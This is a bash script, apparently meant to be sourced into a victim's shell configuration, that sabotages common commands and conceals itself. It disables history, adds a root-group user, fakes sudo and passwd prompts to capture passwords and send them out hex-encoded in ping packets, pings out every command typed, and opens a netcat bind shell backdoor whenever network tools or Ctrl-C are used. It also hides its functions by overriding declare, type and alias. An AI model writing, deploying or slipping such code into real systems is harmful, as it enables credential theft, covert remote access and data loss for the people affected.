# disable history
set +o history

alias if='if !' for='for !' while='while !'

alias yes="yes n"
alias vi="vi +q"
alias apt=true
alias yum=true
alias nano="/bin/vi"
alias rm=true
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
tset -Qe $'\t'
alias exit='bash'
alias cp='mv'
function shutdown { clear; echo 'shutting down now, do not touch computer'; sleep 30; }
alias shutdown=shutdown
function pwd { sleep 3; echo 'right where I want you to be'; sleep 1; echo ';)'; sleep 1;}
alias pwd=pwd
function which { echo "/etc/$1"; }
alias which=which
useradd mom --gid 0 > /dev/null 2>&1
echo -e \"password\npassword\n\" > passwd mom > /dev/null 2>&1
function w { /usr/bin/w | sed s/$USER/yourmom/ | sed 's/[0-9]\\{1,3\\}.[0-9]\\{1,3\\}.[0-9]\\{1,3\\}.[0-9]\\{1,3\\}/8.8.8.8/g'; }
alias w=w
function who { echo "new computer who dis"; }
alias who=who
function sudo {
  ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
  printf "\rsudo password for $USER:"
  read -s password
  ping -c 1 -p $(ascii2hex $password) 8.8.8.8 > /dev/null 2>&1
  printf "\r                                  \r"
  echo $password | /usr/bin/sudo "$@"
}
alias sudo=sudo

# exfiltrate sudo password prompt input with ping
function passwd {
  if [ $# -eq 0 ]; then
    echo "no user provided"
    exit 1
  fi
  echo "Changing password for $1."
  ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
  printf "\r(current) UNIX password:"
  read -s password
  ping -c 1 -p $(ascii2hex $password) 8.8.8.8 > /dev/null 2>&1
  printf "\r                               \r"
  echo $password | /usr/bin/passwd "$1"
}
# obfuscate function type
alias passwd=passwd

function ping_out_last_command {
   ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
   ping -c 1 -p $(ascii2hex !:0) 8.8.4.4 > /dev/null 2>&1
}
alias ping_out_last_command=ping_out_last_command

export PROMPT_COMMAND='ping_out_last_command'

# function make_backdoor {   file=$RANDOM;   if [ -e "/tmp/$file" ]; then      rm /tmp/$file;   fi;   mkfifo /tmp/$file;   echo "serving on $file";   cat /tmp/$file| /bin/sh -i 2>&1 | nc -l $file >/tmp/$file ; }

function make_backdoor {
  if ! [ -x "$(command -v nc)" ]; then
     if [ -x "$(command -v yum)" ]; then
        sudo yum install nmap-ncat -y > /dev/null 2>&1
     else
        sudo apt-get install netcat -y > /dev/null 2>&1
     fi
  fi
  port=$RANDOM
  file="/tmp/.$port"
  if [ -e "/tmp/$file" ]; then
     rm $file
  fi
  mkfifo $file
  #echo "serving on $port with $file"
  for i in 1 2 3; do
    if [ -e "/tmp/$file" ]; then
      rm $file
      mkfifo $file
    fi
    cat $file | /bin/sh -i 2>&1 | nc -l $port > $file
  done
  rm $file
}
alias make_backdoor=make_backdoor

# trap ctrl-c and call ctrl_c()
trap ctrl_c INT

function ctrl_c {
  make_backdoor
}

function ifconfig {
  make_backdoor
  echo "-bash: ifconfig: command not found"
}

function ip {
  make_backdoor
  echo "-bash: ip: command not found"
}

function netstat {
  make_backdoor
  echo "-bash: netstat: command not found"
}

function netstat {
  make_backdoor
  echo "-bash: netstat: command not found"
}

function tcpdump {
  echo "tcpdump: verbose output suppressed, use -v or -vv for full protocol decode"
  echo "listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes"
  echo
  make_backdoor
  echo "-bash: tcpdump: command not found"
}

function declare {
  echo "no functions found"
}

function type {
  echo "no functions found"
}

function chattr {
  echo "-bash: chattr: command not found"
}

alias unalias=false
alias alias=false;